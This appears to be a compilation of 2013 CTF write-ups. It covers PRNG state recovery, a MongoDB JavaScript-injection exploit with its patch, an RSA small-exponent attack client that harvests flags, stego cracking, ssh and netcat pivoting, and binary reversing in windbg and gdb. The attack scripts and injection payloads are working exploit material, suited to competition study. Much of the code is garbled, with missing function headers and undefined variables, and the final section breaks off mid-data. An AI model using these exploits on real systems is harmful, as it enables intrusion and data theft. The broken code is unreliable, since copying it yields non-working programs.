### # 30C3 2k13: Numbers - Guess (100 points)

The challenge

Do you like guessing challenges? Yes? This one is especially for you!
guess.tar.gz running on 88.198.89.194:8888

```# `wget https://30c3ctf.aachen.ccc.de/static/guess.tar.gz`
# `tar xvzf guess.tar.gz`
server.py
# `cat server.py`
#!/usr/bin/env python2
import socket
import random
import sys
import os
import signal

flag ="foobar"

signal.signal(signal.SIGCHLD, signal.SIG_IGN)
s = socket.socket()
s.bind(("0.0.0.0", 8888))
s.listen(10)
while 1:
c, _ = s.accept()
if c is None:
sys.exit(1)
if os.fork() == 0:
del s
break
del c

c.sendall("Welcome to this little guessing game!\n")
r = random.Random()
r.seed(os.urandom(16))
guess_limit = 10
guess_right = 0
data = ""
while 1:
c.sendall("You have %d/%d right guesses, whats your next guess? " % (guess_right, guess_limit))
while "\n" not in data:
cur = c.recv(4096)
if not cur:
sys.exit(0)
data += cur
guess, data = data.split("\n", 1)
guess_right = 0
c.sendall("Nope, that was wrong, correct would have been %s...\n" % answer)
continue
guess_right += 1
if guess_right < guess_limit:
c.sendall("Yes! That was correct, awesome...\n")
continue
c.sendall("You did it! The flag is: %s" % flag)
sys.exit(0)
# `cat reverse.py`
L = 32
N = 624
M = 397
UM = 2**31
LM = UM - 1

i = 0
result = 0
while (i * shift) < L:
value ^= (part >> shift) & mask
result |= part
i += 1
return result

return result

i = 0
result = 0
while (i * shift) < L:
value ^= (part << shift) & mask
result |= part
i += 1
return result

return result

def untransform(value):
value = unBitshiftRightXor(value, 18, 0xffffffff)
value = unBitshiftLeftXor(value,  15, 0xefc60000)
value = unBitshiftLeftXor(value,   7, 0x9d2c5680)
value = unBitshiftRightXor(value, 11, 0xffffffff)
return value

def MTwister(sv, ndx):
ndx = ndx % N
y = (sv[ndx] & UM) | (sv[(ndx + 1) % N] & LM)
sv[ndx] = sv[(ndx + M) % N] ^ (y >> 1)
if y & 0x1:
sv[ndx] ^= 0x9908b0df
rn = sv[ndx]
rn = BitshiftRightXor(rn, 11, 0xffffffff)
rn = BitshiftLeftXor(rn,   7, 0x9d2c5680)
rn = BitshiftLeftXor(rn,  15, 0xefc60000)
rn = BitshiftRightXor(rn, 18, 0xffffffff)
return rn

def getrandbits(sv, ndx, bits):
bytes = ((bits - 1) / 32 + 1) * 4
r = []
result = 0
for i in range(0, bytes, 4):
random = MTwister(sv, ndx + (i / 4))
if bits < 32:
random = random >> (32 - bits)
bits = bits - 32
j = 0
for b in r:
result = (b << (8 * j)) | result
j += 1
return result, (i / 4) + 1

# getstatebits works OK when bits % 32 == 0
def getstatebits(sv, value, bits):
bytes = ((bits - 1) / 32 + 1) * 4
r = []
for i in range(0, bytes, 4):
if bits < 32:
value = value << (32 - bits)
j = 32 * (i/4)
r.append((value >> (j +  8)) & mask)
r.append((value >> (j + 16)) & mask)
r.append((value >> (j + 24)) & mask)
bits = bits - 32
result = 0
j = 0
for b in r:
result = (b << (8 * j)) | result
j += 1
sv.append(untransform(result))
del r[:]
return (i / 4) + 1
# `cat guess.py`
#!/usr/bin/python

import netlib
import re
import sys
from reverse import *

buffsize = 4096
max_retries = 2
pause = 0.5
timeout = 2

ip    = sys.argv[1]
port  = sys.argv[2]
proto = sys.argv[3]

N = 624
L = 64

sc = netlib.sc(ip, port, proto)
if sc.connect(max_retries, pause):
data = sc.recv(buffsize, timeout)
data = sc.recv(buffsize, timeout)
i = 0
sv = []
while i < N:
if sc.send("\n") == False:
sys.exit()
data = sc.recv(buffsize, timeout)
r = getstatebits(sv, int(a), L)
print i, a
i += r
data = sc.recv(buffsize, timeout)
mt, r = getrandbits(sv, i, L)
i += r
while True:
mt, r = getrandbits(sv, i, L)
i += r
print 'Sending = \'' + str(mt) + '\''
if sc.send(str(mt) + "\n") == False:
sys.exit()
data = sc.recv(buffsize, timeout)
print data
# `python guess.py 88.198.89.194 8888 tcp`
...
You did it! The flag is: 30C3_b9b1579866cccd28b1918302382c9107```

Update

```# `cat guess.py`
...
import random
...
data = sc.recv(buffsize, timeout)
sv.append(1337)
r = random.Random()
r.setstate((3, tuple(sv), None))
r.getrandbits(L)
while True:
n = r.getrandbits(L)
print 'Sending = \'' + str(n) + '\''
if sc.send(str(n) + "\n") == False:
sys.exit()
data = sc.recv(buffsize, timeout)
print data```

References

http://en.wikipedia.org/wiki/Mersenne_twister
http://jazzy.id.au/default/2010/09/22/cracking_random_number_generators_part_3.html
http://svn.python.org/view/*checkout*/python/trunk/Modules/_randommodule.c

### # RuCTFE 2k13: Taxi

Vulnerable code

```# `cat taxi.py`
...
return Code(map_f)

def get_reduce_func():
reduce_f = "function(key, values) {return Array.sum(values) / 1.1;}"
return Code(reduce_f)

return list(res.find())
...```

Exploit

```# `cat exploit.py`
#!/usr/bin/python

import httplib
import urllib
import re
import sys

port = 8081
conn = httplib.HTTPConnection(ip, port)
conn.request('POST', query)
resp = conn.getresponse()

js_injection = urllib.quote_plus("' || true) emit(this.route, 1); if('")
resp = conn.getresponse()

conn.close()

flags = []
for flag in re.findall('[A-Za-z0-9=]{32}', data):
flags.append(flag)

for i in flags:
print i

ip = sys.argv[1]

# `./exploit.py 10.23.x.2 `head -c 4 /dev/urandom | xxd -p`````

Patch

```# `cat taxi.py`
...
res = col.map_reduce(get_map_func(`re.sub(r"'", "", admin_name)`), get_reduce_func(), "res")
return list(res.find())
...```

Complete code

```# `cat taxi.py`
#!/usr/bin/python
import urlparse
import os
import random
import string
import hmac
import hashlib
import os.path
import json
import re

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from pymongo import collection
from pymongo import Connection
from datetime import datetime
from bson.code import Code

DBNAME = 'taxi'
COLNAME = 'orders'
USERS = 'users'
KEY_FILE = 'key'

def connect_db(dbname):
c = Connection()
return c[dbname]

def generate_id():
abc = string.ascii_lowercase + string.digits
res = ''.join(random.choice(abc) for i in range(4))
res += "-"
res += ''.join(random.choice(abc) for i in range(4))
res += "-"
res += ''.join(random.choice(abc) for i in range(4))
return res

generated_id = generate_id()

rid = col.insert(
{"_id": id, "date": datetime.now(), "amount": amount, "admin": admin, "user": user, "route": route})
print rid
return rid

def get_by_id(id, col):
found = col.find_one({"_id": id})
return dict(found)

return Code(map_f)

def get_reduce_func():
reduce_f = "function(key, values) {return Array.sum(values) / 1.1;}"
return Code(reduce_f)

res = col.map_reduce(get_map_func(re.sub(r"'", "", admin_name)), get_reduce_func(), "res")
return list(res.find())

return list(res)

def r_replace(s, old, new, occurrence):
li = s.rsplit(old, occurrence)
return new.join(li)

def dict_to_str(dic):
d = {}
for i in dic:
d[i] = str(dic[i])
return json.dumps(d)

def try_create_user(query, db):
try:
p = urlparse.parse_qs(query)
user = p['user'][0]
col = collection.Collection(db, USERS)
return "Admin does not  exist", ""
user_exists = col.find_one({"user": user})
if user_exists is not None:
if id:
return "Success", user
else:
return "Can't create new user", ""
except KeyError:
return "You have to set [admin], [user] and [pswd] parameters in order to register new user", ""

try:
p = urlparse.parse_qs(query)
col = collection.Collection(db, USERS)
if id:
else:
return "Can't create new admin", ""
except KeyError:
return "You have to set [admin] parameter in order to register new admin", ""

def get_hmac(message):
try:
return hmac.new(key, message, digestmod=hashlib.sha1).hexdigest()
except:
return None

class MonHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
try:
parsed = urlparse.urlparse(self.path)
action = os.path.split(parsed.path)[0]
action = action.replace('/', '')
print action
p = urlparse.parse_qs(parsed.query)
user = p['user'][0]

db = connect_db(DBNAME)
col = collection.Collection(db, COLNAME)

self.send_error(401)
return
r = re.search("hm=([^;]+)", c)
if not r:
print "no hmac sent"
self.send_error(401)
return

h_mac = r.group(1)

if h_mac != get_hmac(user):
self.send_error(401)
return

if action == 'route':
if 'id' in p:
r_id = p['id'][0]
res = get_by_id(r_id, col)
result_doc = dict_to_str(res)
self.send_response(200)
self.wfile.write(result_doc)
return
else:
self.send_response(400)
return
elif action == 'routes':
elif action == 'amount':
print result_doc
else:
self.send_response(405)
return

self.send_response(200)
for doc in result_doc:
self.wfile.write(json.dumps(doc))
self.wfile.write("\n")
return

except Exception as e:
print str(e)
self.send_error(404)

def do_POST(self):
try:
parsed = urlparse.urlparse(self.path)
action = os.path.split(parsed.path)[0]
action = action.replace('/', '')
print action
db = connect_db(DBNAME)
col = collection.Collection(db, COLNAME)

res, user = try_create_user(parsed.query, db)
if res == "Success":
self.send_response(200)
else:
self.send_error(400)
self.wfile.write(res)
return
if res == "Success":
self.send_response(200)
else:
self.send_error(400)
self.wfile.write(res)
return
self.send_error(401)
return
r = re.search("hm=([^;]+)", c)
if not r:
print "no hmac sent"
self.send_error(401)
return

h_mac = r.group(1)
p = urlparse.parse_qs(parsed.query)
user = p['user'][0]

if h_mac != get_hmac(user):
self.send_error(401)
return

try:
amount = float(p['amount'][0])
except ValueError:
self.send_response(400)
return

route = p['route'][0]
o_id = p.get('id', [""])[0]
print "params: " + o_id + "; " + str(amount)
if o_id == "":
else:
self.wfile.write(result)
if result is not None:
self.send_response(200)
else:
self.send_error(501)
return
else:
self.send_error(405)
return

except Exception as e:
print str(e)
self.send_error(500)

def gen_key_if_not_exists():
if os.path.isfile(KEY_FILE):
return
length = 256
chars = string.ascii_letters + string.digits + '!@#\$%^&*()'
random.seed = (os.urandom(1024))
key = ''.join(random.choice(chars) for i in range(length))
try:
open(KEY_FILE, 'w').write(key)
except:
print "Can't create key file"
return

def run():
print 'taxi service is starting...'
print 'Welcome to our taxi service!'
print 'You can order trips, view your users\' routes and monitor your riding costs'
print 'Please notice that we charge you extra 10% VAT according to our Ural state laws'
gen_key_if_not_exists()
httpd.serve_forever()

if __name__ == '__main__':
run()```

### # CSCamp CTF Quals 2k13: Steganography - stega4.wav

```# `./keygen 4 "{a..z}" | xargs -I {} steghide extract -sf stega4.wav -p {}`
wrote extracted data to "flag.zip".
# `fcrackzip -u -c aA1! -p aaaaa flag.zip`
# `unzip -P 3L33t flag.zip && cat flag.txt`
Archive:  flag.zip
inflating: flag.txt
The Flag is {a57085396f9200c6d38ff66ffa1d3c71}```

### # rwthCTF 2k13 - smartgrid

```# `cat grid.pub`
-----BEGIN PUBLIC KEY-----
MIICIDANBgkqhkiG9w0BAQEFAAOCAg0AMIICCAKCAgEA0pbD0fyDY0sVLMBlEN+g
iGIHjY5KdCTKn722qjmOK6J7Y8r8JDpu01YXmroDjtjy0FAk1C2+ofdZIoVVqms3
8kuXnUOziSHuhK3fpPZbh560G5t7KDBIH6mQ3h0xiLaJpaZClL1QFE7OPFvIexnO
nJoBQbU2R9hpUVRJ18XmgAwCfilNlD6tgp1Ewlou3cPvWP5S2YvfiBPzn0/kSgmP
mx5vABDacygL8BqCSWW7tKRhSXtzAqarve6qOaAjW9JOcyrnmHQEyzahaFIUBpob
OnMFQT1gBPZ/J9bdRUy+OGllYXzaua8/+wuCNAXOJYd43h2QRfl25ULNqyd5zZcE
pt6URFyI8x2wvTpscjMHWdAQ8vq804OPnagXz0j0Rgw9+BvyD1StiaZHIlYUT0u4
PHG1ynG1solOx1O9jn9aBTTks/0jZGUy+Romgh3Wqfawivnc2Lry5hwCHwMz5NZ+
xoatZlyzd6NCyFcSROctIo4Qw5V0FIbFpx5RNjwNQ4cQvYcKHjmwTwQWiL+6MOWu
GRKIOABJcAXGBnpPUQKAP6JFuORxqD5h1tOQhk1T2ef1FbwKJIwgsVAlGIJNkEq1
-----END PUBLIC KEY-----
# `openssl rsa -pubin -inform PEM -text -noout < grid.pub | grep '('`
Public-Key: (4096 bit)
Exponent: 3 (0x3)
# `ipython`
: `import gmpy`
: `message = 2**1024`
: `modulus = gmpy.mpz(2**4096)`
: `cube_root = modulus.root(3)[0]`
: `if message < cube_root:`
`print "Go!"`
Go!
# `cat netlib.py`
import socket
import time

# Socket Client
class sc:
def __init__(self, host, port, layer4):
self.host = host
self.port = int(port)
self.layer4 = layer4

def connect(self, max_retries, pause):
if self.layer4 == "tcp":
socket_type = socket.SOCK_STREAM
elif self.layer4 == "udp":
socket_type = socket.SOCK_DGRAM
self.socket = socket.socket(socket.AF_INET, socket_type)
retries = 0
while True:
try:
self.socket.connect((self.host, self.port))
return True
except:
retries += 1
if retries == max_retries:
print "Unable to connect."
return False
time.sleep(pause)

def send(self, data):
try:
count = self.socket.send(data)
except:
print "Unable to send data."
return False

if count == len(data):
return True
else:
print "Unable to send all data."
return False

def recv(self, buffsize, timeout):
data = None
self.socket.settimeout(timeout)
try:
data = self.socket.recv(buffsize)
except socket.timeout:
except:
print "Unexpected exception while receiving"
self.socket.settimeout(None)
return data

def close(self):
self.socket.close()
# `cat smartgrid.py`
#!/usr/bin/python

import gmpy
import hashlib
import netlib
import sys
import time

buffsize = 4096
max_retries = 2
pause = 0.5
timeout = 2

ip = sys.argv[1]
port = sys.argv[2]
proto = sys.argv[3]

def cube_root_attack(message):
# if e = 3 and m < n**1/3 then c = m**3
m = gmpy.mpz(message)
cube_root= m.root(3)[0]
sha = hashlib.sha256()
sha.update(str(cube_root))
return sha.hexdigest()

sc = netlib.sc(ip, port, proto)
if sc.connect(max_retries, pause):
while True:
data = sc.recv(buffsize, timeout)
if data.endswith(">"):
break

if sc.send("help\r\n") == False:
sys.exit()
help = ""
while True:
data = sc.recv(buffsize, timeout)
if data.endswith(">"):
help += data[:-1]
break
else:
help += data

sys.exit()
data = sc.recv(buffsize, timeout)
if data == None:
sys.exit()
challenge = data.split('=')[1]
solution = cube_root_attack(int(challenge))
if sc.send("answer=" + solution + "\r\n") == False:
sys.exit()
while True:
data = sc.recv(buffsize, timeout)
if data.endswith(">"):
break

if sc.send("listconsumers" + "\r\n") == False:
sys.exit()
listconsumers = ""
while True:
data = sc.recv(buffsize, timeout)
if data.endswith(">"):
listconsumers += data[:-2]
break
else:
listconsumers += data
listconsumers = listconsumers[15:-2]
listconsumers = listconsumers.replace("'","")
uuids = listconsumers.split(", ")
uuids.reverse()

for i in range(30):
if sc.send("readstatus " + uuids[i] + "\r\n") == False:
sys.exit()
result = ""
while True:
data = sc.recv(buffsize, timeout)
if data.endswith(">"):
result += data[:-2]
break
else:
result += data
pos = result.find("status=")
status = result[pos+7:pos+23]
pos = result.find("tstamp=")
tstamp = result[pos+7:pos+17]
if int(time.time()) - int(tstamp) < 15 * 60: # Last 15 minutes
print status # Flag
sc.close()
# `./smartgrid.py 10.22.x.1 21721 tcp````
References

http://h4des.org/blog/index.php?/archives/339-rwthCTF-2013-smartgrid-write-up.html

### # Connecting two private hosts through a public pivot

METHOD 1 (ssh)

A reverse ssh tunnel, from host1 to pivot

```host1# `ssh -R localhost:1337:localhost:1234 -f -N root@pivot`
host1# `nc -l localhost 1234````

A proxy ssh tunnel, from host2 to pivot

```host2# `ssh -L localhost:1234:localhost:1337 -f -N root@pivot`
host2# `nc localhost 1234````

Diagram

```host2:r ---> host2:1234 --- pivot:1337 --- host1:1234
host2:r ---> host1:1234```

METHOD 2 (netcat)

Two listeners at pivot

```pivot# `mkfifo p`
pivot# `nc -nvlp 1111 0<p | nc -nvlp 2222 1>p````

A running service and a pipe between the local port at host1 and the pivot

```host1# `nc -nvlp 1234`
host1# `mkfifo p`
host1# `nc -nv pivot 1111 0<p | nc -nv localhost 1234 1>p````

A connection from host2 to pivot/host1

`host2# `nc -nv pivot 2222``

Diagram

```host2:r --> pivot:2222 --- pivot:1111 --- host1:1234
host2:r --> host1:1234```

### # CSCamp CTF Quals 2k13: Reversing - Challenge (dotnet)

```# `file challenge.exe`
challenge.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows```
Run challenge.exe:
. Serial Number = Monsters
. Check
> Authentication failed!

Attach to the process using windbg:
```> `* Load SOS and symbols`
> `.loadby sos mscorwks; .symfix; .reload`
> `* Show all threads`
> `~`
0  Id: 3180.39b0 Suspend: 1 Teb: 7ffdf000 Unfrozen
1  Id: 3180.30a8 Suspend: 1 Teb: 7ffde000 Unfrozen
2  Id: 3180.3ad8 Suspend: 1 Teb: 7ffdd000 Unfrozen
3  Id: 3180.3a6c Suspend: 1 Teb: 7ffdc000 Unfrozen
.  4  Id: 3180.38e0 Suspend: 1 Teb: 7ffdb000 Unfrozen
> `* Show all managed threads`
> `!threads`
Hosted Runtime: no
PreEmptive   GC Alloc           Lock
ID OSID ThreadOBJ    State     GC       Context       Domain   Count APT Exception
0    1 39b0 0015b1b8      6020 Enabled  00000000:00000000 001653f8     0 STA
2    2 3ad8 0015ec68      b220 Enabled  00000000:00000000 001653f8     0 MTA (Finalizer)
> `* Switch to thread 0 (new current thread)`
> `~0s`
eax=03370088 ebx=013d8740 ecx=00001f40 edx=001a2c58 esi=01400ed0 edi=014322f4
eip=7c91e514 esp=0012ed8c ebp=0012ee20 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
7c91e514 c3              ret
> `* View the stack`
> `!clrstack`
ESP       EIP
0012ed98 7c91e514 [InlinedCallFrame: 0012ed98] System.Windows.Forms.UnsafeNativeMethods.WaitMessage()
0012ed94 7b1d8e78 System.Windows.Forms.Application+ComponentManager.System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FPushMessageLoop(Int32, Int32, Int32)
0012eeb4 7b195921 System.Windows.Forms.Application.Run(System.Windows.Forms.Form)
0012eec8 00de5498 (System.Windows.Forms.Form)
0012eecc 00de1eee StarwareCTF_DotNetChall.Program.Main()
0012f148 79e71b4c [CustomGCFrame: 0012f148]
0012f110 79e71b4c [GCFrame: 0012f110]
0012f12c 79e71b4c [GCFrame: 0012f12c]
0012f310 79e71b4c [HelperMethodFrame_1OBJ: 0012f310] System.RuntimeMethodHandle._InvokeMethodFast(System.Object, System.Object[], System.SignatureStruct ByRef, System.Reflection.MethodAttributes, System.RuntimeTypeHandle)
0012f380 792d5608 System.RuntimeMethodHandle.InvokeMethodFast(System.Object, System.Object[], System.Signature, System.Reflection.MethodAttributes, System.RuntimeTypeHandle)
0012f3d0 792d540f System.Reflection.RuntimeMethodInfo.Invoke(System.Object, System.Reflection.BindingFlags, System.Reflection.Binder, System.Object[], System.Globalization.CultureInfo, Boolean)
0012f40c 792d529e System.Reflection.RuntimeMethodInfo.Invoke(System.Object, System.Reflection.BindingFlags, System.Reflection.Binder, System.Object[], System.Globalization.CultureInfo)
0012f42c 00de0294 CompressShell.Main(System.String[])
> `* Show objects on the heap (MT = MethodTable)`
> `!dumpheap -type StarwareCTF_DotNetChall`
013d7cf4 00a0732c      348
total 1 objects
Statistics:
MT    Count    TotalSize Class Name
00a0732c        1          348 StarwareCTF_DotNetChall.MainForm
Total 1 objects
0012f688 79e71b4c [GCFrame: 0012f688]
> `* Show what methods the object exposes`
> `!dumpmt -md 00a0732c`
EEClass: 00df38d8
Module: 00a03d94
Name: StarwareCTF_DotNetChall.MainForm
mdToken: 02000009  (StarwareCTF_DotNetChall, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null)
BaseSize: 0x15c
ComponentSize: 0x0
Number of IFaces in IFaceMap: 15
Slots in VTable: 379
--------------------------------------
MethodDesc Table
Entry MethodDesc      JIT Name
7b176338   7afe8338   PreJIT System.Windows.Forms.Form.ToString()
79286ac0   79104968   PreJIT System.Object.Equals(System.Object)
79286b30   79104998   PreJIT System.Object.GetHashCode()
7a575e40   7a460c00   PreJIT System.ComponentModel.Component.Finalize()
...
7b7220b0   7afe83e0   PreJIT System.Windows.Forms.Form.OnResizeEnd(System.EventArgs)
00a0c320   00a072a0      JIT StarwareCTF_DotNetChall.MainForm..ctor()
00a0c744   00a072ac      JIT StarwareCTF_DotNetChall.MainForm.checkButton_Click(System.Object, System.EventArgs)
00a0cc58   00a072b8      JIT StarwareCTF_DotNetChall.MainForm.ChangeAuthenticationMessage(System.String)
00a0d018   00a072c4      JIT StarwareCTF_DotNetChall.MainForm.ChangeAuthenticationMessageCallback(System.String)
00a0cc00   00a072d0     NONE StarwareCTF_DotNetChall.MainForm.OnAuthentication(StarwareCTF_DotNetChall.AuthenticationResult)
00a0c330   00a072e4      JIT StarwareCTF_DotNetChall.MainForm.InitializeComponent()
> `* Method disassemble`
> `!U 00a072ac`
Normal JIT generated code
StarwareCTF_DotNetChall.MainForm.checkButton_Click(System.Object, System.EventArgs)
Begin 00de54b0, size 12a
00de54b0 55              push    ebp
00de54b1 8bec            mov     ebp,esp
00de54b3 57              push    edi
00de54b4 56              push    esi
00de54b5 53              push    ebx
00de54b6 50              push    eax
00de54b7 8bf9            mov     edi,ecx
00de54b9 b98814bf00      mov     ecx,0BF1488h (MT: StarwareCTF_DotNetChall.KeyVerification)
00de54be e859cbc0ff      call    009f201c (JitHelp: CORINFO_HELP_NEWSFAST)
00de54c3 8bf0            mov     esi,eax
00de54c5 8bce            mov     ecx,esi
00de54c7 ff15c014bf00    call    dword ptr ds:[0BF14C0h] (StarwareCTF_DotNetChall.KeyVerification..ctor(), mdToken: 0600002b)
00de54cd 8b8f44010000    mov     ecx,dword ptr [edi+144h]
00de54d3 ff151815bf00    call    dword ptr ds:[0BF1518h] ((System.Object), mdToken: 060000e8)
00de54d9 8bd8            mov     ebx,eax
00de54db 8b8f48010000    mov     ecx,dword ptr [edi+148h]
00de54e1 ff151815bf00    call    dword ptr ds:[0BF1518h] ((System.Object), mdToken: 060000e8)
00de54e7 50              push    eax
00de54e8 8bd3            mov     edx,ebx
00de54ea 8bce            mov     ecx,esi
00de54ec ff156414bf00    call    dword ptr ds:[0BF1464h] (StarwareCTF_DotNetChall.KeyVerification.CheckKey(System.String, System.String), mdToken: 06000029)
...
> `* Display one dword (4b)`
> `dd 0BF1464h L1`
00bf1464  00de5960
> `* Method disassemble`
> `!U 00de5960`
Normal JIT generated code
StarwareCTF_DotNetChall.KeyVerification.CheckKey(System.String, System.String)
Begin 00de5960, size 39
>>> 00de5960 55              push    ebp
00de5961 8bec            mov     ebp,esp
00de5963 57              push    edi
00de5964 56              push    esi
00de5965 50              push    eax
00de5966 33c0            xor     eax,eax
00de5968 8945f4          mov     dword ptr [ebp-0Ch],eax
00de596b 8bf1            mov     esi,ecx
00de596d 8bfa            mov     edi,edx
00de596f 8b4d08          mov     ecx,dword ptr [ebp+8]
00de5972 ff15242bbf00    call    dword ptr ds:[0BF2B24h] ((System.Object), mdToken: 060000d8)
00de5978 8bc8            mov     ecx,eax
00de597a 8bd7            mov     edx,edi
00de597c 894df4          mov     dword ptr [ebp-0Ch],ecx
00de597f 8bce            mov     ecx,esi
00de5981 ff157014bf00    call    dword ptr ds:[0BF1470h] (StarwareCTF_DotNetChall.KeyVerification.GenerateKeyFromUsername(System.String), mdToken: 0600002a)
00de5987 8bd0            mov     edx,eax
00de5989 8b4df4          mov     ecx,dword ptr [ebp-0Ch]
00de598c ff15042cbf00    call    dword ptr ds:[0BF2C04h] ((System.String, System.String), mdToken: 060000dc)
00de5992 59              pop     ecx
00de5993 5e              pop     esi
00de5994 5f              pop     edi
00de5995 5d              pop     ebp
00de5996 c20400          ret     4
> `* Set breakpoint at address`
> `bp 00de5987`
> `* Go`
> `g````
. Serial Number = Monsters
. Check

```> `* Display Unicode chars`
> `du eax+c`
014d1b00  "0C81B9E71D6397203F2B7C73233FC5A4"
014d1b40  "D9C6450D8037BB12BE9415B950AC3E52"
014d1b80  "1EA1B1C42B4ACD482C83FFBBA8212BE2"
014d1bc0  "28A71FE544E463B59C344F1A41A55262"
> `* Clear all breakpoints`
> `bc *`
> `* Go`
> `g````
> Authentication failed!
. Serial Number = 0C81B9E71D6397203F2B7C73233FC5A4D9C6450D8037BB12BE9415B950AC3E521EA1B1C42B4ACD482C83FFBBA8212BE228A71FE544E463B59C344F1A41A55262
. Check
> Authentication successful. Waiting for flag

Reference

http://blog.botbie.com/2013/11/21/cscamp-ctf-quals-2013-reversing-150-write-up/

### # NcN CTF 2k13: Canada (Base - 1200 pts)

```# `gunzip howtobasic.gz`
# `file howtobasic`
howtobasic: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=0x1a8f284f3d67ad66c7510bc5353556e8a01db18b, stripped
# `chmod +x howtobasic`
# `gdb --quiet ./howtobasic`
(gdb) `set disassembly-flavor intel`
(gdb) `info file`
Entry point: 0x80481c0
(gdb) `run`
Starting program: /root/ctf/howtobasic
Enter flag: `^C`
0xf7ffd430 in __kernel_vsyscall ()
(gdb) `finish`
`1234567890`
0x080577a2 in ?? ()
(gdb) `finish`
0x0806d9a6 in ?? ()
(gdb) `finish`
0x08049b26 in ?? ()
(gdb) `finish`
0x0804932d in ?? ()
(gdb) `finish`
0x08049435 in ?? ()
(gdb) `finish`
0x0804906b in ?? ()
(gdb) `finish`
0x080483b6 in ?? ()
(gdb) `finish`
Sorry, that is not correct.
(gdb) `b *0x080483b6`
(gdb) `run`
Starting program: /root/ctf/howtobasic
Enter flag: `1234567890`

(gdb) `x/2i 0x080483b6`
=> 0x80483b6:   test   eax,eax
0x80483b8:   jne    0x80483f5
(gdb) `x/s \$eax`
0x80d5298:      "1234567890\n"
(gdb) `b *0x80483f5`
(gdb) `continue`
(gdb) `x/3i 0x080483f5`
=> 0x80483f5:   push   eax
0x80483f6:   xor    eax,eax
0x80483f8:   je     0x80483fd
(gdb) `b *0x80483fd`
(gdb) `continue`
(gdb) `x/2i 0x080483fd`
=> 0x80483fd:   pop    eax
0x80483fe:   jmp    0x8048486
(gdb) `b *0x8048486`
(gdb) `continue`
(gdb) `x/4i 0x08048486`
=> 0x8048486:   mov    eax,DWORD PTR [esp+0x14]
0x804848a:   sub    eax,0x2
0x804848d:   cmp    eax,DWORD PTR [esp+0x1c]
0x8048491:   ja     0x8048403
(gdb) `x/xw \$esp+0x14`
0xffffd604:     0x00000042
(gdb) `x/xw \$esp+0x1c`
0xffffd60c:     0x00000000
(gdb) `b *0x8048403`
(gdb) `continue`
(gdb) `x/20i 0x08048403`
=> 0x8048403:   mov    eax,DWORD PTR [esp+0x1c] // eax = 0x0
0x8048407:   and    eax,0x7   // eax = 0x0
0x804840a:   movzx  eax,BYTE PTR [eax+0x80d108c] // eax = 0x4d [0x80d108c] = "MOVEFAST"
0x8048411:   not    eax    // eax = 0xffffffb2
0x8048413:   mov    BYTE PTR [esp+0x1b],al  // [esp+0x1b] = 0x000000b2
0x8048417:   mov    eax,DWORD PTR [esp+0x1c] // eax = 0x0
0x804841b:   mov    edx,DWORD PTR [esp+0x10] // edx = 0x080d5298 [0x080d5298] = "1234567890\n"
0x804841f:   add    eax,edx   // eax = 0x080d5298
0x8048421:   movzx  eax,BYTE PTR [eax]  // eax = 0x31
0x8048424:   not    eax    // eax = 0xffffffce
0x8048426:   mov    BYTE PTR [esp+0x1a],al  // [esp+0x1a] = 0x0000b2ce
0x804842a:   mov    edx,DWORD PTR ds:0x80d1088 // edx = 0x80b21e8 [0x80b21e8] = "{\177gtsyjg,xorut21.zb \"t65t~0'\"#5d,-g|t\$f1(.dq\177te2.}o##%`lyy`\$ x2f"
0x8048430:   mov    eax,DWORD PTR [esp+0x1c] // eax = 0x0
0x8048434:   add    eax,edx   // eax = 0x80b21e8
0x8048436:   movzx  edx,BYTE PTR [eax]  // edx = 0x7b
0x8048439:   movzx  eax,BYTE PTR [esp+0x1a] // eax = 0xce
0x804843e:   movzx  ecx,BYTE PTR [esp+0x1b] // ecx = 0xb2
0x8048443:   xor    eax,ecx   // eax = 0x7c
0x8048445:   cmp    dl,al   // dl != al
0x8048447:   je     0x8048481
(gdb) `x/5i 0x8048481`
0x8048486:   mov    eax,DWORD PTR [esp+0x14]
0x804848a:   sub    eax,0x2
0x804848d:   cmp    eax,DWORD PTR [esp+0x1c]
0x8048491:   ja     0x8048403
(gdb) `quit`
# `cat canada.py`
#!/usr/bin/python

constraint = "{\177gtsyjg,xorut21.zb \"t65t~0'\"#5d,-g|t\$f1(.dq\177te2.}o##%`lyy`\$ x2f"
xorkey = "MOVEFAST"
key = ""

for i in range(len(constraint)):
c = ord(constraint[i])
x = ord(xorkey[i%8])
#~k ^ ~x = c
k = ~(c^~x)
key += hex(k)[2:].decode("hex")
print key
# `./canada.py`
60115893a79735aec54ed5ea91fbdbf0ab192e5eea24956fc29fed38466af9a2
# `./howtobasic`
Enter flag: 60115893a79735aec54ed5ea91fbdbf0ab192e5eea24956fc29fed38466af9a2

### # NcN CTF 2k13: Algeria (Base - 900 pts)

```# `echo -n '425a6839314159265359d77d47c600ca357b84e810004070edfd1a082a7fffff2b0000800860083deaf9428555294ad51a5512b4c5365ef11200000000000003410a8cca604668004600000261800068000c9a00000d008554432680d00680034000009a95289ea651a6046d09b4098200c4c01494a6a6940007a806806400007b7b65fec32018b455437f94574ce0c6e89aa40860733f66a6430f6393e3b9dd7cfcbb7d5d7d1cba38eae3a82257a278eb6d36b6b28894a68696858a96a82a95b028c2e26db6844d60d3359ab6b69ad8d95c5ca5aa71a6138a63566da9031018a2d34d929b52b6663260db6aada6cb30cd0438b1049b5559f0299840c94ca9b2ca6ad121a2c26aacd0acc451b4954d343480cb6a9acc622b8ec413d4efdfbff7bbc52354d0a17286a4abf2db616465828b89b10187a3f6f2a9d9bd3a191caa1e2ef2e101cc8b534a8e25354754d491e1f8fa3b97878d4e5324e34bfcf36e240bb2ad09d66db136ccad904b652862d0952ccae96e1616b0b8a5ac8d36d444d81b3656c0352b232b22cd2ad5b6b012b2b22b6d4a62336ab29b0d52c62cc593068b65616b48b26db6d56a9b66d59b5b034b2526616c555caab394495db006d990aeccb0b4a25c615c7358e01cd85b2d956d4660a198a16c50da27246900e2ca90b8c9473556d0a2ada2bb95288c24985cf60d6b32d6a9a594dac406436b6ac11954a30b4c834cab699298db4a564c4dad6b588da9b26a018a6aa985b199a992d531294932d44910814b304c80d02936564866881acda0c6698a81294a02cc44030af36